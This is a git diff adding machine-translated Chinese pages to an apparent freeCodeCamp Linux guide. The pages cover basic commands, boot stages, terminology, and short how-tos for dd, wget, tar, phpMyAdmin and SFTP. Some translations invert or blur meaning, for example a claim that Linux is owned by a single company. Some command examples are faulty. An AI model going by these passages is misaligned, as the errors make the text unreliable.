+此处列出的命令是基本的，可以帮助您快速入门。但它们也很强大，随着Linux专业知识的扩展，它们将继续发挥作用。
+
+1.  `echo`这将获取您提供的文本并将其发送到某个地方 - 返回到屏幕，文件或其他命令。示例： `echo "hello!"`
+2.  `cat`要显示文本文件的内容，只需键入`cat myfile` 。
+3.  `find`它做了它所说的，它擅长它。使用它按路径，大小，日期，所有者和一堆其他有用的过滤器来定位文件。示例： `find . -type f -mtime -1h # List files in this directory modified in the past hour` 。
+4.  `date`只要您想知道它的时间，就输入日期。示例： `date "+It's %l:%m%p on %A"` 。在脚本中使用它根据当前日期命名文件。
+5.  `ls`这是什么目录中？将`ls`与一些有用的标志组合以按日期和大小显示和排序目录内容。它还为您提供了许多格式化输出的选项。
+6.  `pwd`我在哪里？ Linux可能是无情的，特别是当你删除某些东西时。在发出命令之前确保知道。
+7.  `mail` Linux的邮件程序不好看，但它确实很有帮助。您可以在一个命令中创建消息并添加文本，收件人和附件。示例： `echo "We're having a great time." | mail -s "Wish you were here!" -A postcard.png -t mom@example.com`
+8.  `cut`当你与它分隔字符串，用`cut`过滤掉某些字段。示例： `echo "this, that, and the other" | cut -d, -f2 # "that"`
+9.  `grep`要查找包含特定字符串的文本行，请使用grep。示例： `grep 'root' /etc/passwd # root:x:0:0:root:/root:/bin/bash`
+10.  `sed`使用sed查找和更改一段文本中的子字符串。示例： `echo "this, that, and the other" | sed 's/that/those/' # "this, those, and the other"`
+11.  `shutdown`使用关闭系统并关闭电源。示例： `shutdown -h now`立即关闭系统。 `shutdown -h +5`五分钟后关闭系统。
+
+在脚本和命令行中使用这些命令。它们都是非常强大的命令，Linux的手册页有很多关于每个命令的信息。
+
+* * *
+
+此外，用于系统管理员的重要命令如下：
+
+1.  `uptime`命令 在Linux uptime命令中显示系统运行的时间和当前登录的用户数，并且还显示1,5和15分钟间隔的平均负载。
+    
+2.  `w`命令 它将显示当前登录的用户及其进程，并显示负载平均值。还显示登录名，tty名称，远程主机，登录时间，空闲时间，JCPU，PCPU，命令和进程。
+    
+3.  `users`命令 用户命令显示当前登录的用户。除了帮助和版本之外，此命令没有其他参数。
+    
+4.  `who`命令 who命令只返回用户名，日期，时间和主机信息。 who命令与w命令类似。与不打印用户正在做什么的w命令不同。让我们说明并看看who和w命令之间的区别。
+    
+5.  `whoami`司令部 whoami命令打印当前用户的名称。您还可以使用“who is i”命令来显示当前用户。如果使用sudo命令“whoami”命令以root身份登录，则以root身份返回当前用户。如果您想知道登录的确切用户，请使用“我是谁”命令。
+    
+6.  `ls`命令 ls命令以人类可读的格式显示文件列表。
+    
+7.  `crontab`命令 使用crontab命令和-l选项列出当前用户的调度作业。
+    
+8.  `less`命令 less命令允许快速查看文件。您可以上下翻页。按“q”退出较少的窗口。
+    
+9.  `more`命令 more命令允许快速查看文件并以百分比显示详细信息。您可以上下翻页。按“q”退出更多窗口。
+    
+10.  `cp`命令 将文件从源复制到目标，保留相同的模式。
+    
+
+以下是adiminstrator经常使用的命令列表。 这不是一个完整的，但它是一个紧凑的命令列表，可在需要时引用。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/advantages-of-linux/index.md b/client/src/guide/chinese/linux/advantages-of-linux/index.md
new file mode 100644
index 0000000000..59b2cdff99
--- /dev/null
+++ b/client/src/guide/chinese/linux/advantages-of-linux/index.md
@@ -0,0 +1,51 @@
+---
+title: Advantages of Linux
+localeTitle: Linux的优点
+---
+## 持续有效的改进。
+
+Linux更新通过开发人员的全球协作实现。通过这种类型的支持，可以更快地记录和解决错误。此外，由于开发人员也是最终用户，他们有正确的动机确保它满足用户的需求，并且它的设计运行良好。
+
+## 风险较小。
+
+软件只有它给出的支持一样好。想象一下：一个软件是由XYZ公司创建的，后来在路上，他们破产或被另一家决定削减其支持的公司买下。该软件永远不会看到改进或修复，因此它的实用性将不可避免地受到侵蚀和死亡。 Linux由任何单一实体或公司拥有和运营，因此这种情况不可能发生。不仅如此，任何人都可以自由选择并做出贡献。由于其极大的普及和使用，失去对Linux的支持的风险是不太可能的。
+
+## 轻巧。
+
+Linux在系统上运行的要求远低于Windows或Mac。使用正确的Linux发行版，用户可以进行适度的设置，Linux将为系统提供价值。磁盘空间和内存占用也可以更低。有些发行版适用于可追溯到Pentium系列的CPU，其他发行版只需要128MB的RAM，磁盘空间大小相同！
+
+## 为初学者和高级用户提供了大量文档。
+
+Linux有一个活跃的社区，愿意分享他们的知识和帮助（很像FreeCodeCamp！）。 Linux中内置了命令行实用程序，提供有关命令，库，标准等的文档（手册[页](https://en.wikipedia.org/wiki/Man_page)和[信息页](https://en.wikipedia.org/wiki/Info_(Unix) ），Internet上提供了各种格式[的文档](http://www.tldp.org/) ，包括[Linux Documentation Project](http://www.tldp.org/) ， [LinuxQuestions](http://www.linuxquestions.org/) ， [ServerFault](http://serverfault.com/)和[Arch Wiki](https://wiki.archlinux.org/) 。
+
+除了文档之外，还有很多有用且热情的社区可供新手提问，例如[Ask Ubuntu](https://askubuntu.com/)和[Reddit的r / linuxquestions](https://www.reddit.com/r/linuxquestions/) 。
+
+可以采用IT行业认可的自定进度认证（ [CompTIA的Linux +](https://certification.comptia.org/certifications/linux)和[LPI的LPIC测试](https://www.lpi.org) ）。虽然不是必需的，但学习[C](https://en.wikipedia.org/wiki/C_(programming_language) ）使用户能够查看Linux代码以查看它们正在运行的内容。
+
+## 贸易支持。
+
+世界依赖Linux支持关键系统，因此需求不会消失。这不仅对那些有助于Linux的人有用，对于那些支持Linux的人也很重要（乔布斯！）。 Linux支持在IT中变得更加重要，但是作为开发人员拥有这些知识将使它们更加全面和有用（即[全栈开发人员](https://medium.com/chris-messina/the-full-stack-employee-ed0db089f0a1#.ubttrv255) ）。
+
+## 与其他操作系统的互操作性。
+
+Linux具有对NTFS和HFS +文件系统（由Windows和Mac使用）以及[Samba](https://www.samba.org/)在Windows机器上提供文件/打印服务支持的驱动程序支持。
+
+## 更好的硬件支持。
+
+对于其他操作系统，通常用户必须访问制造商的网站以获得对不同类型硬件的驱动程序支持。 Linux内核通过即插即用自动支持大多数硬件（主要是因为开源社区）。一些制造商还开发了其专有驱动程序的Linux版本，可以通过分发软件存储库或手动安装提供的二进制文件轻松安装。
+
+## 软件可用性/兼容性。
+
+Linux拥有丰富的可用应用程序集。它有[办公应用程序](https://www.libreoffice.org/discover/libreoffice/) ，网络浏览器（ [谷歌浏览器](https://www.google.com/chrome/browser/desktop/)和[Mozilla Firefox](https://www.mozilla.org/en-US/firefox/new/) ）， [媒体播放器](http://www.videolan.org/vlc/) ， [图像](https://www.gimp.org/) / [视频处理](http://www.openshot.org/)等。对于视频游戏， [Steam](http://store.steampowered.com/about/)在Linux上运行，它有许多支持的游戏。 Windows应用程序也可以在Linux中运行（有关详细信息，请参阅[Wine](https://www.winehq.org/) ）。
+
+## 为发展而建。
+
+由于Linux最初是由开发人员为开发人员制作的，因此他们花费了大量时间和精力来完善他们将要使用的工具。它有一个强大的[shell](https://en.wikipedia.org/wiki/Unix_shell) ，可用于各种编程和管理任务（ [Bash](https://en.wikipedia.org/wiki/Bash_(Unix_shell) ）是Linux最流行和默认的选择）。虽然Linux在[gedit中](https://en.wikipedia.org/wiki/Gedit)有一个“记事本”，但它也提供了更强大和可自定义的基于文本的编辑器，如[Vim](https://en.wikipedia.org/wiki/Vim_(text_editor)) ）和[Emacs](https://en.wikipedia.org/wiki/Emacs) （建议Linux用户至少知道其中一个编辑器）。还有可用于Web开发的IDE，例如[Atom](https://atom.io/) ， [Aptana](http://www.aptana.com/) / [Eclipse](https://eclipse.org/) ， [Sublime](https://www.sublimetext.com/) ， [KomodoIDE](http://komodoide.com/)等等。 Linux也可以利用[Apache](https://httpd.apache.org/)等软件设置本地Web服务器进行测试， [Git](https://git-scm.com/)进行版本控制，其他工具/语言如[Node.js](https://nodejs.org/en/) / [Ruby](https://www.ruby-lang.org/en/) / [SaSS](http://sass-lang.com/) / [Heroku](https://www.heroku.com/)都支持Linux，并拥有可以使用的命令行工具用来代替GUI。
+
+## 定制。
+
+Linux允许用户更改桌面设计和主题，添加小部件等。这些更改可以在桌面环境中完成。不同的环境有不同的选项集。一些流行的是：KDE，GNOME，XFCE，Pantheon。
+
+## 免费。
+
+难以击败！
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/basic-linux-commands/index.md b/client/src/guide/chinese/linux/basic-linux-commands/index.md
new file mode 100644
index 0000000000..0253a80bc8
--- /dev/null
+++ b/client/src/guide/chinese/linux/basic-linux-commands/index.md
@@ -0,0 +1,51 @@
+---
+title: Basic Linux Commands
+localeTitle: 基本Linux命令
+---
+## 基本Linux命令
+
+当开始使用linux时，每个人都应该知道一些基本命令。
+
+1.  **cd** - 更改目录
+
+*   cd后跟一个目录或文件路径将带你进入该目录（文件夹）。
+
+1.  **ls** - list命令
+
+*   键入`ls`并显示当前目录的内容。
+
+1.  **man** - 手动命令
+
+*   显示以下命令的手册。在尝试弄清楚不熟悉的命令如何工作时，这非常有用。例如，键入`man ls`以获取有关ls命令的所有信息。输入`q`退出。
+
+1.  **pwd** - 路径
+
+*   键入`pwd`以显示当前目录的路径。
+
+1.  **mkdir** - 制作目录
+
+*   此命令后跟您希望命名目录的名称，将创建一个新目录。 `mkdir folder1`将创建一个名为folder1的新目录。
+
+1.  **rmdir** - 删除目录
+
+*   删除该命令后面的目录。 `rmdir folder1`将删除名为folder1的目录（如果存在）。
+
+1.  **rm** - 删除
+
+*   此命令删除文件，而不删除目录。 `rm file.txt`将删除名为file.txt的文件，只要该文件存在且位于当前目录中。
+
+1.  **触摸** - 创建文件
+
+*   touch命令用于创建文件。它可以是任何东西，从空的txt文件到空的zip文件。 'touch new.txt'将创建一个名为new的新文件。
+
+1.  **mv** - 移动
+
+*   使用mv命令通过命令行移动文件。我们还可以使用mv命令重命名文件。例如，如果我们想将文件“text”重命名为“new”，我们可以使用“mv text new”。
+
+1.  **右键单击** - 复制并粘贴
+
+*   这个不是命令，而是更多的操作方法，但是，它对于在Linux上的终端中执行几乎任何操作都非常有用。首先，突出显示正常的文本，然后在鼠标上“右键单击”以复制选择。您应该看到突出显示的部分未突出显示，这意味着您复制了选择。现在，右键单击要粘贴选区的位置，即可完成。
+
+1.  **less** - 查看文件内容
+
+*   使用`less filename.txt`查看文件的内容并浏览它们。默认情况下，less将逐页浏览文件。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/common-terms-every-linux-user-should-know/index.md b/client/src/guide/chinese/linux/common-terms-every-linux-user-should-know/index.md
new file mode 100644
index 0000000000..41f6b0a1de
--- /dev/null
+++ b/client/src/guide/chinese/linux/common-terms-every-linux-user-should-know/index.md
@@ -0,0 +1,29 @@
+---
+title: common terms every Linux user should know.
+localeTitle: 每个Linux用户应该知道的常用术语。
+---
+# 每个Linux用户应该知道的常用术语。
+
+*   **发行版：**它是“发行”的缩写词;并且发行版是GNU / Linux操作系统的特定品牌 - 如Redhat，Fedora，Ubuntu和Debian。
+    
+*   **Shell：**这是读取命令输入并运行指定命令的程序。光标前面的美元符号（\`$'）称为shell提示符;它告诉您系统已准备好并以命令的形式等待输入。
+    
+*   **CLI：**代表_命令行界面_ 。它是简单的用户界面，提供用户使用文本命令与Linux OS交互所需的服务。它保护用户不必知道复杂的硬件细节。
+    
+*   **GUI：**代表图形用户界面。它是Linux系统的一部分，包括窗口，图标，图片（一般图形），可以实现点击。
+    
+*   **终端：**是用于访问Linux shell的应用程序。
+    
+*   **内核：**这是Linux系统的核心 - 你可以称之为“大脑”。内核控制计算机的资源，并通过直接与计算机硬件交互来确定它们的使用方式。
+    
+*   **Tux：**它是Linux的官方吉祥物。那是通常与Linux相关的企鹅 - 如果你在网上看过黄色和黑色的企鹅，那么你已经看过tux了。
+    
+*   **Root：**也称为超级用户，是linux机器管理员的“默认”用户名。它通常用**“＃”**符号表示在linux终端上。
+    
+*   **命令：**是给linux机器的文本输入或指令（通过在终端中键入它）来告诉它该做什么（即，对于所需的结果）。
+    
+*   **存储库：**存储库（或简称“repo”）是通常在线托管的发行版的软件包的集合。软件程序可以从发行版提供的默认存储库和第三方软件包中添加到软件包管理器中时安装。
+    
+*   **软件包管理器：**是一个软件程序，使您可以搜索，安装，更新和删除应用程序和其他应用程序管理功能。每个发行版都有来自最终包管理器（如Ubuntu软件中心）和命令行包管理工具（如“apt-get”）的图形。
+    
+*   **依赖关系：**依赖关系是您要安装的程序需要运行的软件程序。在安装程序时，它会向默认程序包管理器提供其依赖项列表，以检查它们是否已安装，如果不是，则从存储库下载它们。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/create-file-with-sepcific-size/index.md b/client/src/guide/chinese/linux/create-file-with-sepcific-size/index.md
new file mode 100644
index 0000000000..892b1eb03c
--- /dev/null
+++ b/client/src/guide/chinese/linux/create-file-with-sepcific-size/index.md
@@ -0,0 +1,20 @@
+---
+title: Create a dummy file with a specific size
+localeTitle: 创建具有特定大小的虚拟文件
+---
+## 如何使用“dd”命令创建具有特定大小的虚拟文件：
+
+“dd”命令可用于创建特定大小的文件。如果您想测试下载速度或任何其他测试，并且需要特定大小的文件，这将非常有用。
+```
+dd if=/dev/zero of=file_name.txt bs=1024k count=10 
+```
+
+这将创建一个名为file\_name.txt的1MB文件。
+
+bs是您的字节大小，count表示块的数量。一个简单的方法是1024K X 10。
+
+这是创建1MB文件的更简单方法：
+```
+dd if=/dev/zero of=file_name.txt bs=1MB count=1 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/getting-started/index.md b/client/src/guide/chinese/linux/getting-started/index.md
new file mode 100644
index 0000000000..42f2790472
--- /dev/null
+++ b/client/src/guide/chinese/linux/getting-started/index.md
@@ -0,0 +1,37 @@
+---
+title: Getting Started
+localeTitle: 入门
+---
+## 选择分配。
+
+目前有各种类型的Linux发行版可供选择，选择一个是当前Linux世界的主要关注点。考虑到易于使用的操作系统，此类别的顶级狗是： Ubuntu - 稳定的Debian系统的衍生产品，Ubuntu在易于使用和最新的环境中蓬勃发展。 Mint - 基于Ubuntu和Debian，这个操作系统具有很多功能，比如Ubuntu的PPA兼容性，apt包管理器。基本薄荷分布提醒Windows，这对于从Windows进行的用户来说可能是一个很好的特性。 Trisquel - 源自Ubuntu的发行版，专注于仅使用完全免费的软件，避免使用专有软件。 Trisquel得到了自由软件基金会（FSF）的认可。
+
+## 安装。
+
+大多数Linux发行版都非常容易安装，所有信息都显示在安装的每个步骤之间。
+
+需要注意的一个重要步骤是决定在哪里安装新的Linux发行版。对于初级用户，最好选择“引导”选项，因为它将为您完成所有工作。
+
+请记住仔细阅读所有步骤，并在硬盘中留出一些空间用于新发行版，我想说最低约30Gb是一件好事。
+
+## 可怕的终端。
+
+Linux的终端不用担心，实际上它很容易使用一些练习，它可以使我们的日常任务大大自动化。
+
+在Debian / Ubuntu和衍生产品中，打开cli（Comman Line Interface）的快捷方式是“Ctrl + Alt + T”。让我们打开终端并尝试一些命令。
+
+cd（更改目录） - cd命令是您在linux命令行中使用最多的命令之一。它允许您更改工作目录。您可以使用它在文件系统的层次结构中移动。
+
+```unix
+cd 
+```
+
+单独使用cd命令会将当前目录更改为用户主目录，位于“/ home / username”中，如“/ home / mark”中所示。
+
+ls（List） - 该命令列出当前目录中的内容。它还可以用于列出文件信息。
+
+```unix
+ls 
+```
+
+现在我们可以在家中看到我们的目录。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/how-linux-system-boots-up-6-step-description/index.md b/client/src/guide/chinese/linux/how-linux-system-boots-up-6-step-description/index.md
new file mode 100644
index 0000000000..994d271c7f
--- /dev/null
+++ b/client/src/guide/chinese/linux/how-linux-system-boots-up-6-step-description/index.md
@@ -0,0 +1,98 @@
+---
+title: Linux Booting Process
+localeTitle: Linux启动过程
+---
+# Linux启动过程 - 6步描述性过程
+
+操作系统被定义为支持计算机基本功能的低级软件，例如调度任务和控制外围设备。操作系统支持典型Linux启动过程的这6个高级阶段。
+
+![脚步](https://raw.githubusercontent.com/Ayushverma8/tech-interview-handbook/master/LinuxBootingProcess.jpg)
+
+### 1\. BIOS
+
+*   BIOS代表基本输入/输出系统
+*   通过HDD执行一些系统完整性检查
+*   搜索，加载和执行引导加载程序，主要在主引导记录（MBR）中
+*   它在软盘，CD-ROM或硬盘驱动器中查找引导加载程序。我们可以在BIOS启动期间按一个键（通常为F2的F12，但这取决于您的系统）以更改启动顺序。
+*   一旦检测到引导加载程序并将其加载到内存中，BIOS就会为其提供控制。
+*   因此，简单来说，BIOS加载并执行MBR引导加载程序
+
+### 2\. MBR
+
+*   MBR代表主引导记录。
+*   它位于可引导磁盘的第一个扇区中。通常是/ dev / hda或/ dev / sda。为什么是sda和hda？请参阅此处了解更多。
+*   MBR的大小小于512字节。这有三个组件1）第一个446字节中的主引导加载程序信息2）下一个64字节中的分区表信息3）最后2个字节中的mbr验证检查。
+*   它包含有关GRUB（或旧系统中的LILO）的信息。
+*   因此，简单来说，MBR加载并执行GRUB引导加载程序。
+
+### 3\. GRUB
+
+*   它位于可引导磁盘的第一个扇区中。通常是/ dev / hda或/ dev / sda。为什么是sda和hda？请参阅此处了解更多。
+*   如果系统上安装了多个内核映像，则可以选择要执行的映像，默认情况下只会启动主映像。
+*   GRUB显示启动画面，等待几秒钟，如果您不输入任何内容，它将加载grub配置文件中指定的默认内核映像。
+*   GRUB具有文件系统的知识（旧的Linux加载器LILO不了解文件系统）。
+*   Grub配置文件是/boot/grub/grub.conf（/etc/grub.conf是这个的链接）。以下是CentOS的示例grub.conf。
+```
+#boot=/dev/sda 
+ default=0 
+ timeout=5 
+ splashimage=(hd0,0)/boot/grub/splash.xpm.gz 
+ hiddenmenu 
+ title CentOS (2.6.18-194.el5PAE) 
+          root (hd0,0) 
+          kernel /boot/vmlinuz-2.6.18-194.el5PAE ro root=LABEL=/ 
+          initrd /boot/initrd-2.6.18-194.el5PAE.img 
+```
+
+### 4.内核
+
+*   按照grub.conf中“root =”的指定安装根文件系统
+*   内核执行/ sbin / init程序
+*   它是由Linux内核执行的第一个程序，它的进程ID（PID）为1.执行'ps -ef | grep init'并检查pid。您也可以使用netstat
+*   initrd代表初始RAM磁盘。
+*   内核将initrd用作临时根文件系统，直到启动内核并挂载真正的根文件系统。它还包含内部编译的必要驱动程序，这有助于它访问硬盘驱动器分区和其他硬件。
+
+### 5.初始
+
+*   查看/ etc / inittab文件以确定Linux运行级别。
+    
+*   以下是可用的运行级别
+    
+*   0 - 停止
+    
+*   1 - 单用户模式
+    
+*   2 - 多用户，没有NFS
+    
+*   3 - 完全多用户模式
+    
+*   4 - 未使用
+    
+*   5 - X11
+    
+*   6 - 重启
+    
+*   Init从/ etc / inittab标识默认的initlevel，并使用它来加载所有适当的程序。
+    
+*   在系统上执行'grep initdefault / etc / inittab'以标识默认运行级别
+    
+*   如果您想遇到麻烦，可以将默认运行级别设置为0或6.因为您知道0和6的含义，可能您可能不会这样做。
+    
+*   通常，您可以将默认运行级别设置为3或5。
+    
+
+### 6.运行级程序
+
+*   Linux系统启动时，您可能会看到各种服务启动。例如，它可能会说“启动sendmail ......”。好”。这些是运行级别程序，从运行级别定义的运行级目录执行。
+*   根据您的默认初始级别设置，系统将从以下目录之一执行程序。
+*   运行级别0 - /etc/rc.d/rc0.d/
+*   运行级别1 - /etc/rc.d/rc1.d/
+*   运行级别2 - /etc/rc.d/rc2.d/
+*   运行级别3 - /etc/rc.d/rc3.d/
+*   运行级别4 - /etc/rc.d/rc4.d/
+*   运行级别5 - /etc/rc.d/rc5.d/
+*   运行级别6 - /etc/rc.d/rc6.d/
+*   在/etc/rc.d/rc\*.d/目录下，您将看到以S和K开头的程序。
+*   在启动期间使用以S开头的程序。 S用于启动。
+*   在关机期间使用以K开头的程序。 K杀人。
+*   程序名称中的S和K旁边有数字。这些是程序应该启动或终止的序列号。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/how-to-download-files-with-wget/index.md b/client/src/guide/chinese/linux/how-to-download-files-with-wget/index.md
new file mode 100644
index 0000000000..5f63d36997
--- /dev/null
+++ b/client/src/guide/chinese/linux/how-to-download-files-with-wget/index.md
@@ -0,0 +1,44 @@
+---
+title: How to download files using the "wget" utility in Linux
+localeTitle: 如何使用Linux中的“wget”实用程序下载文件
+---
+## 如何使用Linux中的“wget”实用程序下载文件
+
+本文是在基于Unix的操作系统上使用`wget`实用程序的快速教程。 GNU Wget是一个免费的实用程序，用于从Web上非交互式下载文件。它支持HTTP，HTTPS和FTP协议，以及通过HTTP代理进行检索。
+
+### 安装`wget`
+
+wget实用程序是免费提供的包，并根据GNU GPL许可证进行许可。该实用程序可以安装在任何类Unix操作系统上，包括Windows和MacOS。
+
+### 基本语法
+
+`wget`的基本语法是......
+```
+wget [option]... [URL]... 
+```
+
+### wget的详细信息
+```
+wget --version 
+```
+
+```
+wget --help 
+```
+
+### 下载单个文件
+```
+wget http://ftp.gnu.org/gnu/wget/wget-1.5.3.tar.gz 
+```
+
+### 从FTP下载
+```
+wget ftp://ftp.gnu.org/gnu/wget/wget-1.10.1.tar.gz.sig 
+```
+
+### 限制下载速度限制
+```
+wget --limit-rate=100k http://ftp.gnu.org/gnu/wget/wget-1.5.3.tar.gz 
+```
+
+您可以使用`wget`实用程序的其余功能
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/how-to-extract-or-decompress-a-compressed-file-in-linux/index.md b/client/src/guide/chinese/linux/how-to-extract-or-decompress-a-compressed-file-in-linux/index.md
new file mode 100644
index 0000000000..d06044c162
--- /dev/null
+++ b/client/src/guide/chinese/linux/how-to-extract-or-decompress-a-compressed-file-in-linux/index.md
@@ -0,0 +1,13 @@
+---
+title: How to extract or decompress a compressed file in Linux
+localeTitle: 如何在Linux中提取或解压缩压缩文件
+---
+在从压缩文件中提取数据之前，必须首先确定压缩文件类型。
+
+## 如何在Linux中提取或解压缩压缩文件
+
+第1步：了解文件类型 `file File-Name`
+
+第2步：解压缩tar文件 `tar xvf File-Name -C /Directory-Location`
+
+`We Use (-C) for specific directory if we do not use (-C) then it automatically extract to current directory.`
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/how-to-install-phpmyadmin-on-linux-ubuntu/index.md b/client/src/guide/chinese/linux/how-to-install-phpmyadmin-on-linux-ubuntu/index.md
new file mode 100644
index 0000000000..c6c26b8afb
--- /dev/null
+++ b/client/src/guide/chinese/linux/how-to-install-phpmyadmin-on-linux-ubuntu/index.md
@@ -0,0 +1,58 @@
+---
+title: How to install phpmyadmin on Linux (Ubuntu).
+localeTitle: 如何在Linux（Ubuntu）上安装phpmyadmin。
+---
+# 如何在Linux上安装phpmyadmin（Ubuntu）
+
+可以使用命令行通过在终端中运行命令来管理[MySQL](https://en.wikipedia.org/wiki/MySQL)数据库服务器。但是使用图形用户界面（GUI）更方便，更乏味 - 尤其是那些不习惯在终端上输入命令的人。
+
+[phpMyAdmin](https://en.wikipedia.org/wiki/PhpMyAdmin)是一个用PHP编写的免费开源GUI软件工具，旨在通过Web管理MySQL。 phpMyAdmin支持MySQL及其社区支持的版本[\-MariaDB上的各种操作](https://en.wikipedia.org/wiki/MariaDB) 。
+
+经常使用的数据库操作（管理数据库，表，列，关系，索引，用户，权限等）可以通过GUI执行，同时您仍然可以直接执行任何SQL语句。并且还以流行的文件格式（CSV，SQL，XML，PDF，Word，Excel，LaTeX和许多其他格式）执行数据的导出和导入。您可以安装phpMyAdmin Linux，Windows和Mac OS（它是跨平台的）。它已成为最受欢迎的MySQL管理工具之一。
+
+在本文中，您将了解如何在Linux操作系统上安装它。但在我们开始之前，请确保您的系统上安装了Apache，MySQL和PHP。如果没有[在这里](https://fossnaija.com/install-lamp-server-linux-ubuntu/)学习如何做到这[一点](https://fossnaija.com/install-lamp-server-linux-ubuntu/) 。
+
+### 安装phpMyAdmin。
+
+*   打开Linux终端，并使用Ubuntu的软件包管理器`apt`安装，
+    
+    sudo apt-get install phpmyadmin
+    
+*   然后安装开始。出现提示时，从**“配置phpMyAdmin”**对话框中选择_“Apache2”_ 。当询问MySQL用户名和密码时，输入“root”作为用户名并选择适当的密码密码。
+    
+*   安装完成后，配置phpMyAdmin以便本地Web服务器识别。在您喜欢的文本编辑器中打开apache配置文件;
+    
+    ```
+    sudo gedit /etc/apache2/apache2.conf 
+    
+    ```
+    
+    并在文件的底部添加以下行（您可以将其添加到文件的任何位置，我只需在此处选择底部，以便您可以轻松访问它以进行修改，如果需要）：
+    
+    `Include /etc/phpmyadmin/apache.conf`
+    
+*   然后重启Web服务器;
+    
+    ```
+    sudo service apache2 restart 
+    
+    ```
+    
+*   现在在浏览器中输入以下网址;
+    
+    `https://localhost/phpmyadmin`
+    
+    如果您还没有这样做，您应该看到一个登录页面供您输入用户名和密码。
+    
+    **用户名** = _root_
+    
+    **密码** = _您的_MYSQL_密码_
+    
+
+如果成功，将显示phpMyAdmin仪表板。然后你就可以开始使用phpMyAdmin了。
+
+### 更多信息：
+
+*   有关图形安装步骤，请[在此处查看](https://fossnaija.com/install-phpmyadmin-linux-ubuntu/) 。
+    
+*   [PhpMyAdmin安装文档](https://docs.phpmyadmin.net/en/latest/setup.html) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server/index.md b/client/src/guide/chinese/linux/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server/index.md
new file mode 100644
index 0000000000..3f9fa988e3
--- /dev/null
+++ b/client/src/guide/chinese/linux/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server/index.md
@@ -0,0 +1,64 @@
+---
+title: How to Use SFTP to Securely Transfer Files with a Remote Server
+localeTitle: 如何使用SFTP通过远程服务器安全地传输文件
+---
+## 如何使用SFTP通过远程服务器安全地传输文件
+
+本文是关于如何使用安全文件传输协议（SFTP）与服务器交换文件的快速教程。这对编程很有用，因为它允许您在本地编码和测试，然后在完成后将您的工作发送到服务器。
+
+### 测试SSH
+
+如果您还没有，请测试您是否能够SSH到服务器。 SFTP使用Secure Shell（SSH）协议，因此如果您无法通过SSH，您可能也无法使用SFTP。
+
+```unix
+ssh your_username@hostname_or_ip_address 
+```
+
+### 启动SFTP会话
+
+它使用与SSH相同的语法，并打开一个可以传输文件的会话。
+
+```unix
+sftp your_username@hostname_or_ip_address 
+```
+
+要列出有用的命令：
+
+```unix
+help 
+```
+
+### 传输文件和文件夹
+
+要下载文件：
+
+```unix
+get <filename> 
+```
+
+要下载文件夹及其内容，请使用“-r”标志（也可用于上载）：
+
+```unix
+get -r <foldername> 
+```
+
+要上传文件：
+
+```unix
+put <filename> 
+```
+
+### 更改文件夹
+
+要更改本地文件夹：
+
+```unix
+lcd <path/to/folder> 
+```
+
+要更改远程文件夹：
+
+```unix
+cd <path/to/folder> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/index.md b/client/src/guide/chinese/linux/index.md
new file mode 100644
index 0000000000..298e0efce9
--- /dev/null
+++ b/client/src/guide/chinese/linux/index.md
@@ -0,0 +1,29 @@
+---
+title: Linux
+localeTitle: Linux的
+---
+![](https://upload.wikimedia.org/wikipedia/commons/3/35/Tux.svg)
+
+Linux是一个广泛表示围绕Linux构建的一系列免费和开源软件操作系统发行版的名称 核心。 Linux发行版的定义组件是Linux内核，操作系统内核于9月17日首次发布， 1991年由Linus Torvalds担任。许多Linux发行版在其名称中使用“Linux”一词。自由软件基金会使用该名称 GNU / Linux指的是操作系统系列以及特定的发行版，以强调大多数Linux发行版都没有 只是Linux内核，它们不仅有内核，还有许多实用程序和库，很大一部分 其中有来自GNU项目。
+
+Linux的开发是免费和开源软件协作的最突出的例子之一。潜在的来源 任何人都可以根据其各自的许可条款使用，修改和分发商业代码或非商业代码 作为GNU通用公共许可证。
+
+Linux最初是作为MINIX操作系统的克隆而开始的。开源贡献者添加到内核并扩展了它 硬件兼容性。 Linux的硬件支持和免费许可使Linux成为桌面和服务器计算的热门选择 90年代中期。如今，Linux是世界上最流行的操作系统。它为世界上90％的服务器供电，并且是其基础 谷歌流行的Android操作系统。
+
+还有许多Linux版本可以在个人计算机上运行，​​例如Debian或Ubuntu。更重要的是，这些 不同版本的Linux（称为发行版）允许用户对操作进行不同程度的个性化和控制 系统。这意味着用户可以根据自己的需求选择Linux发行版。
+
+还有Kali Linux，用于高级渗透测试和审计。它有700多种工具，可以使用它 有效地，您将需要知道如何使用命令行。不建议初学者使用。
+
+流行的Linux发行版包括：
+
+*   Ubuntu的
+*   Linux Mint
+*   CentOS的
+*   RHEL
+*   Arch Linux
+
+包类型在更高级别的发行版之间分配，Debian（.deb）和Red Hat（.rpm）是最常用的两种， 然而，还有其他包括Pacman（用于Arch Linux）和PetGet（Puppy Linux）。
+
+Linux发行版也有各种形状和大小，大多数（如果不是全部）都能提供直接通过CD / DVD运行的能力 如果您的主板支持从USB启动，则可以作为“Live CD”环境，甚至直接通过USB直接通过USB。
+
+有关Linux的更多信息，请阅读Quincy Larson的文章[Linux是25. Yay！让我们庆祝25个关于Linux的惊人事实](https://medium.freecodecamp.org/linux-is-25-yay-lets-celebrate-with-25-rad-facts-about-linux-c8d8ac30076d) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/install-and-configure-apache-server-in-linux/index.md b/client/src/guide/chinese/linux/install-and-configure-apache-server-in-linux/index.md
new file mode 100644
index 0000000000..9679ad96db
--- /dev/null
+++ b/client/src/guide/chinese/linux/install-and-configure-apache-server-in-linux/index.md
@@ -0,0 +1,19 @@
+---
+title: Install and Configure Apache Server in Linux
+localeTitle: 在Linux中安装和配置Apache服务器
+---
+Apache HTTP Server，俗称Apache，是免费的开源软件 跨平台的Web服务器软件。 Apache由一个开发和维护 在Apache Software Foundation的支持下开放的开发人员社区。
+
+## 在Linux中安装和配置Apache服务器
+
